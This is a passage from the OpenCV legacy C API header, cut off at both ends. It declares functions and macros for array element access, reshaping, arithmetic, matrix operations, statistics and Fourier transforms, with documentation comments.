array element. The functions return a specific array element. In the case of a sparse array the functions return 0 if the requested node does not exist (no new node is created by the functions). @param arr Input array @param idx0 The first zero-based component of the element index */ CVAPI(CvScalar) cvGet1D( const CvArr* arr, int idx0 ); /** @overload */ CVAPI(CvScalar) cvGet2D( const CvArr* arr, int idx0, int idx1 ); /** @overload */ CVAPI(CvScalar) cvGet3D( const CvArr* arr, int idx0, int idx1, int idx2 ); /** @overload @param arr Input array @param idx Array of the element indices */ CVAPI(CvScalar) cvGetND( const CvArr* arr, const int* idx ); /** @brief Return a specific element of single-channel 1D, 2D, 3D or nD array. Returns a specific element of a single-channel array. If the array has multiple channels, a runtime error is raised. Note that Get?D functions can be used safely for both single-channel and multiple-channel arrays though they are a bit slower. In the case of a sparse array the functions return 0 if the requested node does not exist (no new node is created by the functions). @param arr Input array. Must have a single channel. @param idx0 The first zero-based component of the element index */ CVAPI(double) cvGetReal1D( const CvArr* arr, int idx0 ); /** @overload */ CVAPI(double) cvGetReal2D( const CvArr* arr, int idx0, int idx1 ); /** @overload */ CVAPI(double) cvGetReal3D( const CvArr* arr, int idx0, int idx1, int idx2 ); /** @overload @param arr Input array. Must have a single channel. @param idx Array of the element indices */ CVAPI(double) cvGetRealND( const CvArr* arr, const int* idx ); /** @brief Change the particular array element. The functions assign the new value to a particular array element. In the case of a sparse array the functions create the node if it does not exist yet. @param arr Input array @param idx0 The first zero-based component of the element index @param value The assigned value */ CVAPI(void) cvSet1D( CvArr* arr, int idx0, CvScalar value ); /** @overload */ CVAPI(void) cvSet2D( CvArr* arr, int idx0, int idx1, CvScalar value ); /** @overload */ CVAPI(void) cvSet3D( CvArr* arr, int idx0, int idx1, int idx2, CvScalar value ); /** @overload @param arr Input array @param idx Array of the element indices @param value The assigned value */ CVAPI(void) cvSetND( CvArr* arr, const int* idx, CvScalar value ); /** @brief Change a specific array element. The functions assign a new value to a specific element of a single-channel array. If the array has multiple channels, a runtime error is raised. Note that the Set\*D function can be used safely for both single-channel and multiple-channel arrays, though they are a bit slower. In the case of a sparse array the functions create the node if it does not yet exist. @param arr Input array @param idx0 The first zero-based component of the element index @param value The assigned value */ CVAPI(void) cvSetReal1D( CvArr* arr, int idx0, double value ); /** @overload */ CVAPI(void) cvSetReal2D( CvArr* arr, int idx0, int idx1, double value ); /** @overload */ CVAPI(void) cvSetReal3D( CvArr* arr, int idx0, int idx1, int idx2, double value ); /** @overload @param arr Input array @param idx Array of the element indices @param value The assigned value */ CVAPI(void) cvSetRealND( CvArr* arr, const int* idx, double value ); /** clears element of ND dense array, in case of sparse arrays it deletes the specified node */ CVAPI(void) cvClearND( CvArr* arr, const int* idx ); /** @brief Returns matrix header for arbitrary array. The function returns a matrix header for the input array that can be a matrix - CvMat, an image - IplImage, or a multi-dimensional dense array - CvMatND (the third option is allowed only if allowND != 0) . In the case of matrix the function simply returns the input pointer. In the case of IplImage\* or CvMatND it initializes the header structure with parameters of the current image ROI and returns &header. Because COI is not supported by CvMat, it is returned separately. The function provides an easy way to handle both types of arrays - IplImage and CvMat using the same code. Input array must have non-zero data pointer, otherwise the function will report an error. @note If the input array is IplImage with planar data layout and COI set, the function returns the pointer to the selected plane and COI == 0. This feature allows user to process IplImage structures with planar data layout, even though OpenCV does not support such images. @param arr Input array @param header Pointer to CvMat structure used as a temporary buffer @param coi Optional output parameter for storing COI @param allowND If non-zero, the function accepts multi-dimensional dense arrays (CvMatND\*) and returns 2D matrix (if CvMatND has two dimensions) or 1D matrix (when CvMatND has 1 dimension or more than 2 dimensions). The CvMatND array must be continuous. @sa cvGetImage, cvarrToMat. */ CVAPI(CvMat*) cvGetMat( const CvArr* arr, CvMat* header, int* coi CV_DEFAULT(NULL), int allowND CV_DEFAULT(0)); /** @brief Returns image header for arbitrary array. The function returns the image header for the input array that can be a matrix (CvMat) or image (IplImage). In the case of an image the function simply returns the input pointer. In the case of CvMat it initializes an image_header structure with the parameters of the input matrix. Note that if we transform IplImage to CvMat using cvGetMat and then transform CvMat back to IplImage using this function, we will get different headers if the ROI is set in the original image. @param arr Input array @param image_header Pointer to IplImage structure used as a temporary buffer */ CVAPI(IplImage*) cvGetImage( const CvArr* arr, IplImage* image_header ); /** @brief Changes the shape of a multi-dimensional array without copying the data. The function is an advanced version of cvReshape that can work with multi-dimensional arrays as well (though it can work with ordinary images and matrices) and change the number of dimensions. Below are the two samples from the cvReshape description rewritten using cvReshapeMatND: @code IplImage* color_img = cvCreateImage(cvSize(320,240), IPL_DEPTH_8U, 3); IplImage gray_img_hdr, *gray_img; gray_img = (IplImage*)cvReshapeMatND(color_img, sizeof(gray_img_hdr), &gray_img_hdr, 1, 0, 0); ... int size[] = { 2, 2, 2 }; CvMatND* mat = cvCreateMatND(3, size, CV_32F); CvMat row_header, *row; row = (CvMat*)cvReshapeMatND(mat, sizeof(row_header), &row_header, 0, 1, 0); @endcode In C, the header file for this function includes a convenient macro cvReshapeND that does away with the sizeof_header parameter. So, the lines containing the call to cvReshapeMatND in the examples may be replaced as follow: @code gray_img = (IplImage*)cvReshapeND(color_img, &gray_img_hdr, 1, 0, 0); ... row = (CvMat*)cvReshapeND(mat, &row_header, 0, 1, 0); @endcode @param arr Input array @param sizeof_header Size of output header to distinguish between IplImage, CvMat and CvMatND output headers @param header Output header to be filled @param new_cn New number of channels. new_cn = 0 means that the number of channels remains unchanged. @param new_dims New number of dimensions. new_dims = 0 means that the number of dimensions remains the same. @param new_sizes Array of new dimension sizes. Only new_dims-1 values are used, because the total number of elements must remain the same. Thus, if new_dims = 1, new_sizes array is not used. */ CVAPI(CvArr*) cvReshapeMatND( const CvArr* arr, int sizeof_header, CvArr* header, int new_cn, int new_dims, int* new_sizes ); #define cvReshapeND( arr, header, new_cn, new_dims, new_sizes ) \ cvReshapeMatND( (arr), sizeof(*(header)), (header), \ (new_cn), (new_dims), (new_sizes)) /** @brief Changes shape of matrix/image without copying data. The function initializes the CvMat header so that it points to the same data as the original array but has a different shape - different number of channels, different number of rows, or both. The following example code creates one image buffer and two image headers, the first is for a 320x240x3 image and the second is for a 960x240x1 image: @code IplImage* color_img = cvCreateImage(cvSize(320,240), IPL_DEPTH_8U, 3); CvMat gray_mat_hdr; IplImage gray_img_hdr, *gray_img; cvReshape(color_img, &gray_mat_hdr, 1); gray_img = cvGetImage(&gray_mat_hdr, &gray_img_hdr); @endcode And the next example converts a 3x3 matrix to a single 1x9 vector: @code CvMat* mat = cvCreateMat(3, 3, CV_32F); CvMat row_header, *row; row = cvReshape(mat, &row_header, 0, 1); @endcode @param arr Input array @param header Output header to be filled @param new_cn New number of channels. 'new_cn = 0' means that the number of channels remains unchanged. @param new_rows New number of rows. 'new_rows = 0' means that the number of rows remains unchanged unless it needs to be changed according to new_cn value. */ CVAPI(CvMat*) cvReshape( const CvArr* arr, CvMat* header, int new_cn, int new_rows CV_DEFAULT(0) ); /** Repeats source 2d array several times in both horizontal and vertical direction to fill destination array */ CVAPI(void) cvRepeat( const CvArr* src, CvArr* dst ); /** @brief Allocates array data The function allocates image, matrix or multi-dimensional dense array data. Note that in the case of matrix types OpenCV allocation functions are used. In the case of IplImage they are used unless CV_TURN_ON_IPL_COMPATIBILITY() has been called before. In the latter case IPL functions are used to allocate the data. @param arr Array header */ CVAPI(void) cvCreateData( CvArr* arr ); /** @brief Releases array data. The function releases the array data. In the case of CvMat or CvMatND it simply calls cvDecRefData(), that is the function can not deallocate external data. See also the note to cvCreateData . @param arr Array header */ CVAPI(void) cvReleaseData( CvArr* arr ); /** @brief Assigns user data to the array header. The function assigns user data to the array header. Header should be initialized before using cvCreateMatHeader, cvCreateImageHeader, cvCreateMatNDHeader, cvInitMatHeader, cvInitImageHeader or cvInitMatNDHeader. @param arr Array header @param data User data @param step Full row length in bytes */ CVAPI(void) cvSetData( CvArr* arr, void* data, int step ); /** @brief Retrieves low-level information about the array. The function fills output variables with low-level information about the array data. All output parameters are optional, so some of the pointers may be set to NULL. If the array is IplImage with ROI set, the parameters of ROI are returned. The following example shows how to get access to array elements. It computes absolute values of the array elements : @code float* data; int step; CvSize size; cvGetRawData(array, (uchar**)&data, &step, &size); step /= sizeof(data[0]); for(int y = 0; y < size.height; y++, data += step ) for(int x = 0; x < size.width; x++ ) data[x] = (float)fabs(data[x]); @endcode @param arr Array header @param data Output pointer to the whole image origin or ROI origin if ROI is set @param step Output full row length in bytes @param roi_size Output ROI size */ CVAPI(void) cvGetRawData( const CvArr* arr, uchar** data, int* step CV_DEFAULT(NULL), CvSize* roi_size CV_DEFAULT(NULL)); /** @brief Returns size of matrix or image ROI. The function returns number of rows (CvSize::height) and number of columns (CvSize::width) of the input matrix or image. In the case of image the size of ROI is returned. @param arr array header */ CVAPI(CvSize) cvGetSize( const CvArr* arr ); /** @brief Copies one array to another. The function copies selected elements from an input array to an output array: \f[\texttt{dst} (I)= \texttt{src} (I) \quad \text{if} \quad \texttt{mask} (I) \ne 0.\f] If any of the passed arrays is of IplImage type, then its ROI and COI fields are used. Both arrays must have the same type, the same number of dimensions, and the same size. The function can also copy sparse arrays (mask is not supported in this case). @param src The source array @param dst The destination array @param mask Operation mask, 8-bit single channel array; specifies elements of the destination array to be changed */ CVAPI(void) cvCopy( const CvArr* src, CvArr* dst, const CvArr* mask CV_DEFAULT(NULL) ); /** @brief Sets every element of an array to a given value. The function copies the scalar value to every selected element of the destination array: \f[\texttt{arr} (I)= \texttt{value} \quad \text{if} \quad \texttt{mask} (I) \ne 0\f] If array arr is of IplImage type, then is ROI used, but COI must not be set. @param arr The destination array @param value Fill value @param mask Operation mask, 8-bit single channel array; specifies elements of the destination array to be changed */ CVAPI(void) cvSet( CvArr* arr, CvScalar value, const CvArr* mask CV_DEFAULT(NULL) ); /** @brief Clears the array. The function clears the array. In the case of dense arrays (CvMat, CvMatND or IplImage), cvZero(array) is equivalent to cvSet(array,cvScalarAll(0),0). In the case of sparse arrays all the elements are removed. @param arr Array to be cleared */ CVAPI(void) cvSetZero( CvArr* arr ); #define cvZero cvSetZero /** Splits a multi-channel array into the set of single-channel arrays or extracts particular [color] plane */ CVAPI(void) cvSplit( const CvArr* src, CvArr* dst0, CvArr* dst1, CvArr* dst2, CvArr* dst3 ); /** Merges a set of single-channel arrays into the single multi-channel array or inserts one particular [color] plane to the array */ CVAPI(void) cvMerge( const CvArr* src0, const CvArr* src1, const CvArr* src2, const CvArr* src3, CvArr* dst ); /** Copies several channels from input arrays to certain channels of output arrays */ CVAPI(void) cvMixChannels( const CvArr** src, int src_count, CvArr** dst, int dst_count, const int* from_to, int pair_count ); /** @brief Converts one array to another with optional linear transformation. The function has several different purposes, and thus has several different names. It copies one array to another with optional scaling, which is performed first, and/or optional type conversion, performed after: \f[\texttt{dst} (I) = \texttt{scale} \texttt{src} (I) + ( \texttt{shift} _0, \texttt{shift} _1,...)\f] All the channels of multi-channel arrays are processed independently. The type of conversion is done with rounding and saturation, that is if the result of scaling + conversion can not be represented exactly by a value of the destination array element type, it is set to the nearest representable value on the real axis. @param src Source array @param dst Destination array @param scale Scale factor @param shift Value added to the scaled source array elements */ CVAPI(void) cvConvertScale( const CvArr* src, CvArr* dst, double scale CV_DEFAULT(1), double shift CV_DEFAULT(0) ); #define cvCvtScale cvConvertScale #define cvScale cvConvertScale #define cvConvert( src, dst ) cvConvertScale( (src), (dst), 1, 0 ) /** Performs linear transformation on every source array element, stores absolute value of the result: dst(x,y,c) = abs(scale*src(x,y,c)+shift). destination array must have 8u type. In other cases one may use cvConvertScale + cvAbsDiffS */ CVAPI(void) cvConvertScaleAbs( const CvArr* src, CvArr* dst, double scale CV_DEFAULT(1), double shift CV_DEFAULT(0) ); #define cvCvtScaleAbs cvConvertScaleAbs /** checks termination criteria validity and sets eps to default_eps (if it is not set), max_iter to default_max_iters (if it is not set) */ CVAPI(CvTermCriteria) cvCheckTermCriteria( CvTermCriteria criteria, double default_eps, int default_max_iters ); /****************************************************************************************\ * Arithmetic, logic and comparison operations * \****************************************************************************************/ /** dst(mask) = src1(mask) + src2(mask) */ CVAPI(void) cvAdd( const CvArr* src1, const CvArr* src2, CvArr* dst, const CvArr* mask CV_DEFAULT(NULL)); /** dst(mask) = src(mask) + value */ CVAPI(void) cvAddS( const CvArr* src, CvScalar value, CvArr* dst, const CvArr* mask CV_DEFAULT(NULL)); /** dst(mask) = src1(mask) - src2(mask) */ CVAPI(void) cvSub( const CvArr* src1, const CvArr* src2, CvArr* dst, const CvArr* mask CV_DEFAULT(NULL)); /** dst(mask) = src(mask) - value = src(mask) + (-value) */ CV_INLINE void cvSubS( const CvArr* src, CvScalar value, CvArr* dst, const CvArr* mask CV_DEFAULT(NULL)) { cvAddS( src, cvScalar( -value.val[0], -value.val[1], -value.val[2], -value.val[3]), dst, mask ); } /** dst(mask) = value - src(mask) */ CVAPI(void) cvSubRS( const CvArr* src, CvScalar value, CvArr* dst, const CvArr* mask CV_DEFAULT(NULL)); /** dst(idx) = src1(idx) * src2(idx) * scale (scaled element-wise multiplication of 2 arrays) */ CVAPI(void) cvMul( const CvArr* src1, const CvArr* src2, CvArr* dst, double scale CV_DEFAULT(1) ); /** element-wise division/inversion with scaling: dst(idx) = src1(idx) * scale / src2(idx) or dst(idx) = scale / src2(idx) if src1 == 0 */ CVAPI(void) cvDiv( const CvArr* src1, const CvArr* src2, CvArr* dst, double scale CV_DEFAULT(1)); /** dst = src1 * scale + src2 */ CVAPI(void) cvScaleAdd( const CvArr* src1, CvScalar scale, const CvArr* src2, CvArr* dst ); #define cvAXPY( A, real_scalar, B, C ) cvScaleAdd(A, cvRealScalar(real_scalar), B, C) /** dst = src1 * alpha + src2 * beta + gamma */ CVAPI(void) cvAddWeighted( const CvArr* src1, double alpha, const CvArr* src2, double beta, double gamma, CvArr* dst ); /** @brief Calculates the dot product of two arrays in Euclidean metrics. The function calculates and returns the Euclidean dot product of two arrays. \f[src1 \bullet src2 = \sum _I ( \texttt{src1} (I) \texttt{src2} (I))\f] In the case of multiple channel arrays, the results for all channels are accumulated. In particular, cvDotProduct(a,a) where a is a complex vector, will return \f$||\texttt{a}||^2\f$. The function can process multi-dimensional arrays, row by row, layer by layer, and so on. @param src1 The first source array @param src2 The second source array */ CVAPI(double) cvDotProduct( const CvArr* src1, const CvArr* src2 ); /** dst(idx) = src1(idx) & src2(idx) */ CVAPI(void) cvAnd( const CvArr* src1, const CvArr* src2, CvArr* dst, const CvArr* mask CV_DEFAULT(NULL)); /** dst(idx) = src(idx) & value */ CVAPI(void) cvAndS( const CvArr* src, CvScalar value, CvArr* dst, const CvArr* mask CV_DEFAULT(NULL)); /** dst(idx) = src1(idx) | src2(idx) */ CVAPI(void) cvOr( const CvArr* src1, const CvArr* src2, CvArr* dst, const CvArr* mask CV_DEFAULT(NULL)); /** dst(idx) = src(idx) | value */ CVAPI(void) cvOrS( const CvArr* src, CvScalar value, CvArr* dst, const CvArr* mask CV_DEFAULT(NULL)); /** dst(idx) = src1(idx) ^ src2(idx) */ CVAPI(void) cvXor( const CvArr* src1, const CvArr* src2, CvArr* dst, const CvArr* mask CV_DEFAULT(NULL)); /** dst(idx) = src(idx) ^ value */ CVAPI(void) cvXorS( const CvArr* src, CvScalar value, CvArr* dst, const CvArr* mask CV_DEFAULT(NULL)); /** dst(idx) = ~src(idx) */ CVAPI(void) cvNot( const CvArr* src, CvArr* dst ); /** dst(idx) = lower(idx) <= src(idx) < upper(idx) */ CVAPI(void) cvInRange( const CvArr* src, const CvArr* lower, const CvArr* upper, CvArr* dst ); /** dst(idx) = lower <= src(idx) < upper */ CVAPI(void) cvInRangeS( const CvArr* src, CvScalar lower, CvScalar upper, CvArr* dst ); #define CV_CMP_EQ 0 #define CV_CMP_GT 1 #define CV_CMP_GE 2 #define CV_CMP_LT 3 #define CV_CMP_LE 4 #define CV_CMP_NE 5 /** The comparison operation support single-channel arrays only. Destination image should be 8uC1 or 8sC1 */ /** dst(idx) = src1(idx) _cmp_op_ src2(idx) */ CVAPI(void) cvCmp( const CvArr* src1, const CvArr* src2, CvArr* dst, int cmp_op ); /** dst(idx) = src1(idx) _cmp_op_ value */ CVAPI(void) cvCmpS( const CvArr* src, double value, CvArr* dst, int cmp_op ); /** dst(idx) = min(src1(idx),src2(idx)) */ CVAPI(void) cvMin( const CvArr* src1, const CvArr* src2, CvArr* dst ); /** dst(idx) = max(src1(idx),src2(idx)) */ CVAPI(void) cvMax( const CvArr* src1, const CvArr* src2, CvArr* dst ); /** dst(idx) = min(src(idx),value) */ CVAPI(void) cvMinS( const CvArr* src, double value, CvArr* dst ); /** dst(idx) = max(src(idx),value) */ CVAPI(void) cvMaxS( const CvArr* src, double value, CvArr* dst ); /** dst(x,y,c) = abs(src1(x,y,c) - src2(x,y,c)) */ CVAPI(void) cvAbsDiff( const CvArr* src1, const CvArr* src2, CvArr* dst ); /** dst(x,y,c) = abs(src(x,y,c) - value(c)) */ CVAPI(void) cvAbsDiffS( const CvArr* src, CvArr* dst, CvScalar value ); #define cvAbs( src, dst ) cvAbsDiffS( (src), (dst), cvScalarAll(0)) /****************************************************************************************\ * Math operations * \****************************************************************************************/ /** Does cartesian->polar coordinates conversion. Either of output components (magnitude or angle) is optional */ CVAPI(void) cvCartToPolar( const CvArr* x, const CvArr* y, CvArr* magnitude, CvArr* angle CV_DEFAULT(NULL), int angle_in_degrees CV_DEFAULT(0)); /** Does polar->cartesian coordinates conversion. Either of output components (magnitude or angle) is optional. If magnitude is missing it is assumed to be all 1's */ CVAPI(void) cvPolarToCart( const CvArr* magnitude, const CvArr* angle, CvArr* x, CvArr* y, int angle_in_degrees CV_DEFAULT(0)); /** Does powering: dst(idx) = src(idx)^power */ CVAPI(void) cvPow( const CvArr* src, CvArr* dst, double power ); /** Does exponention: dst(idx) = exp(src(idx)). Overflow is not handled yet. Underflow is handled. Maximal relative error is ~7e-6 for single-precision input */ CVAPI(void) cvExp( const CvArr* src, CvArr* dst ); /** Calculates natural logarithms: dst(idx) = log(abs(src(idx))). Logarithm of 0 gives large negative number(~-700) Maximal relative error is ~3e-7 for single-precision output */ CVAPI(void) cvLog( const CvArr* src, CvArr* dst ); /** Fast arctangent calculation */ CVAPI(float) cvFastArctan( float y, float x ); /** Fast cubic root calculation */ CVAPI(float) cvCbrt( float value ); #define CV_CHECK_RANGE 1 #define CV_CHECK_QUIET 2 /** Checks array values for NaNs, Infs or simply for too large numbers (if CV_CHECK_RANGE is set). If CV_CHECK_QUIET is set, no runtime errors is raised (function returns zero value in case of "bad" values). Otherwise cvError is called */ CVAPI(int) cvCheckArr( const CvArr* arr, int flags CV_DEFAULT(0), double min_val CV_DEFAULT(0), double max_val CV_DEFAULT(0)); #define cvCheckArray cvCheckArr #define CV_RAND_UNI 0 #define CV_RAND_NORMAL 1 /** @brief Fills an array with random numbers and updates the RNG state. The function fills the destination array with uniformly or normally distributed random numbers. @param rng CvRNG state initialized by cvRNG @param arr The destination array @param dist_type Distribution type > - **CV_RAND_UNI** uniform distribution > - **CV_RAND_NORMAL** normal or Gaussian distribution @param param1 The first parameter of the distribution. In the case of a uniform distribution it is the inclusive lower boundary of the random numbers range. In the case of a normal distribution it is the mean value of the random numbers. @param param2 The second parameter of the distribution. In the case of a uniform distribution it is the exclusive upper boundary of the random numbers range. In the case of a normal distribution it is the standard deviation of the random numbers. @sa randu, randn, RNG::fill. */ CVAPI(void) cvRandArr( CvRNG* rng, CvArr* arr, int dist_type, CvScalar param1, CvScalar param2 ); CVAPI(void) cvRandShuffle( CvArr* mat, CvRNG* rng, double iter_factor CV_DEFAULT(1.)); #define CV_SORT_EVERY_ROW 0 #define CV_SORT_EVERY_COLUMN 1 #define CV_SORT_ASCENDING 0 #define CV_SORT_DESCENDING 16 CVAPI(void) cvSort( const CvArr* src, CvArr* dst CV_DEFAULT(NULL), CvArr* idxmat CV_DEFAULT(NULL), int flags CV_DEFAULT(0)); /** Finds real roots of a cubic equation */ CVAPI(int) cvSolveCubic( const CvMat* coeffs, CvMat* roots ); /** Finds all real and complex roots of a polynomial equation */ CVAPI(void) cvSolvePoly(const CvMat* coeffs, CvMat *roots2, int maxiter CV_DEFAULT(20), int fig CV_DEFAULT(100)); /****************************************************************************************\ * Matrix operations * \****************************************************************************************/ /** @brief Calculates the cross product of two 3D vectors. The function calculates the cross product of two 3D vectors: \f[\texttt{dst} = \texttt{src1} \times \texttt{src2}\f] or: \f[\begin{array}{l} \texttt{dst} _1 = \texttt{src1} _2 \texttt{src2} _3 - \texttt{src1} _3 \texttt{src2} _2 \\ \texttt{dst} _2 = \texttt{src1} _3 \texttt{src2} _1 - \texttt{src1} _1 \texttt{src2} _3 \\ \texttt{dst} _3 = \texttt{src1} _1 \texttt{src2} _2 - \texttt{src1} _2 \texttt{src2} _1 \end{array}\f] @param src1 The first source vector @param src2 The second source vector @param dst The destination vector */ CVAPI(void) cvCrossProduct( const CvArr* src1, const CvArr* src2, CvArr* dst ); /** Matrix transform: dst = A*B + C, C is optional */ #define cvMatMulAdd( src1, src2, src3, dst ) cvGEMM( (src1), (src2), 1., (src3), 1., (dst), 0 ) #define cvMatMul( src1, src2, dst ) cvMatMulAdd( (src1), (src2), NULL, (dst)) #define CV_GEMM_A_T 1 #define CV_GEMM_B_T 2 #define CV_GEMM_C_T 4 /** Extended matrix transform: dst = alpha*op(A)*op(B) + beta*op(C), where op(X) is X or X^T */ CVAPI(void) cvGEMM( const CvArr* src1, const CvArr* src2, double alpha, const CvArr* src3, double beta, CvArr* dst, int tABC CV_DEFAULT(0)); #define cvMatMulAddEx cvGEMM /** Transforms each element of source array and stores resultant vectors in destination array */ CVAPI(void) cvTransform( const CvArr* src, CvArr* dst, const CvMat* transmat, const CvMat* shiftvec CV_DEFAULT(NULL)); #define cvMatMulAddS cvTransform /** Does perspective transform on every element of input array */ CVAPI(void) cvPerspectiveTransform( const CvArr* src, CvArr* dst, const CvMat* mat ); /** Calculates (A-delta)*(A-delta)^T (order=0) or (A-delta)^T*(A-delta) (order=1) */ CVAPI(void) cvMulTransposed( const CvArr* src, CvArr* dst, int order, const CvArr* delta CV_DEFAULT(NULL), double scale CV_DEFAULT(1.) ); /** Transposes matrix. Square matrices can be transposed in-place */ CVAPI(void) cvTranspose( const CvArr* src, CvArr* dst ); #define cvT cvTranspose /** Completes the symmetric matrix from the lower (LtoR=0) or from the upper (LtoR!=0) part */ CVAPI(void) cvCompleteSymm( CvMat* matrix, int LtoR CV_DEFAULT(0) ); /** Mirror array data around horizontal (flip=0), vertical (flip=1) or both(flip=-1) axises: cvFlip(src) flips images vertically and sequences horizontally (inplace) */ CVAPI(void) cvFlip( const CvArr* src, CvArr* dst CV_DEFAULT(NULL), int flip_mode CV_DEFAULT(0)); #define cvMirror cvFlip #define CV_SVD_MODIFY_A 1 #define CV_SVD_U_T 2 #define CV_SVD_V_T 4 /** Performs Singular Value Decomposition of a matrix */ CVAPI(void) cvSVD( CvArr* A, CvArr* W, CvArr* U CV_DEFAULT(NULL), CvArr* V CV_DEFAULT(NULL), int flags CV_DEFAULT(0)); /** Performs Singular Value Back Substitution (solves A*X = B): flags must be the same as in cvSVD */ CVAPI(void) cvSVBkSb( const CvArr* W, const CvArr* U, const CvArr* V, const CvArr* B, CvArr* X, int flags ); #define CV_LU 0 #define CV_SVD 1 #define CV_SVD_SYM 2 #define CV_CHOLESKY 3 #define CV_QR 4 #define CV_NORMAL 16 /** Inverts matrix */ CVAPI(double) cvInvert( const CvArr* src, CvArr* dst, int method CV_DEFAULT(CV_LU)); #define cvInv cvInvert /** Solves linear system (src1)*(dst) = (src2) (returns 0 if src1 is a singular and CV_LU method is used) */ CVAPI(int) cvSolve( const CvArr* src1, const CvArr* src2, CvArr* dst, int method CV_DEFAULT(CV_LU)); /** Calculates determinant of input matrix */ CVAPI(double) cvDet( const CvArr* mat ); /** Calculates trace of the matrix (sum of elements on the main diagonal) */ CVAPI(CvScalar) cvTrace( const CvArr* mat ); /** Finds eigen values and vectors of a symmetric matrix */ CVAPI(void) cvEigenVV( CvArr* mat, CvArr* evects, CvArr* evals, double eps CV_DEFAULT(0), int lowindex CV_DEFAULT(-1), int highindex CV_DEFAULT(-1)); ///* Finds selected eigen values and vectors of a symmetric matrix */ //CVAPI(void) cvSelectedEigenVV( CvArr* mat, CvArr* evects, CvArr* evals, // int lowindex, int highindex ); /** Makes an identity matrix (mat_ij = i == j) */ CVAPI(void) cvSetIdentity( CvArr* mat, CvScalar value CV_DEFAULT(cvRealScalar(1)) ); /** Fills matrix with given range of numbers */ CVAPI(CvArr*) cvRange( CvArr* mat, double start, double end ); /** @anchor core_c_CovarFlags @name Flags for cvCalcCovarMatrix @see cvCalcCovarMatrix @{ */ /** flag for cvCalcCovarMatrix, transpose([v1-avg, v2-avg,...]) * [v1-avg,v2-avg,...] */ #define CV_COVAR_SCRAMBLED 0 /** flag for cvCalcCovarMatrix, [v1-avg, v2-avg,...] * transpose([v1-avg,v2-avg,...]) */ #define CV_COVAR_NORMAL 1 /** flag for cvCalcCovarMatrix, do not calc average (i.e. mean vector) - use the input vector instead (useful for calculating covariance matrix by parts) */ #define CV_COVAR_USE_AVG 2 /** flag for cvCalcCovarMatrix, scale the covariance matrix coefficients by number of the vectors */ #define CV_COVAR_SCALE 4 /** flag for cvCalcCovarMatrix, all the input vectors are stored in a single matrix, as its rows */ #define CV_COVAR_ROWS 8 /** flag for cvCalcCovarMatrix, all the input vectors are stored in a single matrix, as its columns */ #define CV_COVAR_COLS 16 /** @} */ /** Calculates covariation matrix for a set of vectors @see @ref core_c_CovarFlags "flags" */ CVAPI(void) cvCalcCovarMatrix( const CvArr** vects, int count, CvArr* cov_mat, CvArr* avg, int flags ); #define CV_PCA_DATA_AS_ROW 0 #define CV_PCA_DATA_AS_COL 1 #define CV_PCA_USE_AVG 2 CVAPI(void) cvCalcPCA( const CvArr* data, CvArr* mean, CvArr* eigenvals, CvArr* eigenvects, int flags ); CVAPI(void) cvProjectPCA( const CvArr* data, const CvArr* mean, const CvArr* eigenvects, CvArr* result ); CVAPI(void) cvBackProjectPCA( const CvArr* proj, const CvArr* mean, const CvArr* eigenvects, CvArr* result ); /** Calculates Mahalanobis(weighted) distance */ CVAPI(double) cvMahalanobis( const CvArr* vec1, const CvArr* vec2, const CvArr* mat ); #define cvMahalonobis cvMahalanobis /****************************************************************************************\ * Array Statistics * \****************************************************************************************/ /** Finds sum of array elements */ CVAPI(CvScalar) cvSum( const CvArr* arr ); /** Calculates number of non-zero pixels */ CVAPI(int) cvCountNonZero( const CvArr* arr ); /** Calculates mean value of array elements */ CVAPI(CvScalar) cvAvg( const CvArr* arr, const CvArr* mask CV_DEFAULT(NULL) ); /** Calculates mean and standard deviation of pixel values */ CVAPI(void) cvAvgSdv( const CvArr* arr, CvScalar* mean, CvScalar* std_dev, const CvArr* mask CV_DEFAULT(NULL) ); /** Finds global minimum, maximum and their positions */ CVAPI(void) cvMinMaxLoc( const CvArr* arr, double* min_val, double* max_val, CvPoint* min_loc CV_DEFAULT(NULL), CvPoint* max_loc CV_DEFAULT(NULL), const CvArr* mask CV_DEFAULT(NULL) ); /** @anchor core_c_NormFlags @name Flags for cvNorm and cvNormalize @{ */ #define CV_C 1 #define CV_L1 2 #define CV_L2 4 #define CV_NORM_MASK 7 #define CV_RELATIVE 8 #define CV_DIFF 16 #define CV_MINMAX 32 #define CV_DIFF_C (CV_DIFF | CV_C) #define CV_DIFF_L1 (CV_DIFF | CV_L1) #define CV_DIFF_L2 (CV_DIFF | CV_L2) #define CV_RELATIVE_C (CV_RELATIVE | CV_C) #define CV_RELATIVE_L1 (CV_RELATIVE | CV_L1) #define CV_RELATIVE_L2 (CV_RELATIVE | CV_L2) /** @} */ /** Finds norm, difference norm or relative difference norm for an array (or two arrays) @see ref core_c_NormFlags "flags" */ CVAPI(double) cvNorm( const CvArr* arr1, const CvArr* arr2 CV_DEFAULT(NULL), int norm_type CV_DEFAULT(CV_L2), const CvArr* mask CV_DEFAULT(NULL) ); /** @see ref core_c_NormFlags "flags" */ CVAPI(void) cvNormalize( const CvArr* src, CvArr* dst, double a CV_DEFAULT(1.), double b CV_DEFAULT(0.), int norm_type CV_DEFAULT(CV_L2), const CvArr* mask CV_DEFAULT(NULL) ); /** @anchor core_c_ReduceFlags @name Flags for cvReduce @{ */ #define CV_REDUCE_SUM 0 #define CV_REDUCE_AVG 1 #define CV_REDUCE_MAX 2 #define CV_REDUCE_MIN 3 /** @} */ /** @see @ref core_c_ReduceFlags "flags" */ CVAPI(void) cvReduce( const CvArr* src, CvArr* dst, int dim CV_DEFAULT(-1), int op CV_DEFAULT(CV_REDUCE_SUM) ); /****************************************************************************************\ * Discrete Linear Transforms and Related Functions * \****************************************************************************************/ /** @anchor core_c_DftFlags @name Flags for cvDFT, cvDCT and cvMulSpectrums @{ */ #define CV_DXT_FORWARD 0 #define CV_DXT_INVERSE 1 #define CV_DXT_SCALE 2 /**< divide result by size of array */ #define CV_DXT_INV_SCALE (CV_DXT_INVERSE + CV_DXT_SCALE) #define CV_DXT_INVERSE_SCALE CV_DXT_INV_SCALE #define CV_DXT_ROWS 4 /**< transform each row individually */ #define CV_DXT_MUL_CONJ 8 /**< conjugate the second argument of cvMulSpectrums */ /** @} */ /** Discrete Fourier Transform: complex->complex, real->ccs (forward), ccs->real (inverse) @see core_c_DftFlags "flags" */ CVAPI(void) cvDFT( const CvArr* src, CvArr* dst, int flags, int nonzero_rows CV_DEFAULT(0) ); #define cvFFT cvDFT /** Multiply results of DFTs: DFT(X)*DFT(Y) or DFT(X)*conj(DFT(Y)) @see core_c_DftFlags "flags" */ CVAPI(void) cvMulSpectrums( const CvArr* src1, const CvArr* src2, CvArr* dst, int flags ); /** Finds optimal DFT vector size >= size0 */ CVAPI(int) 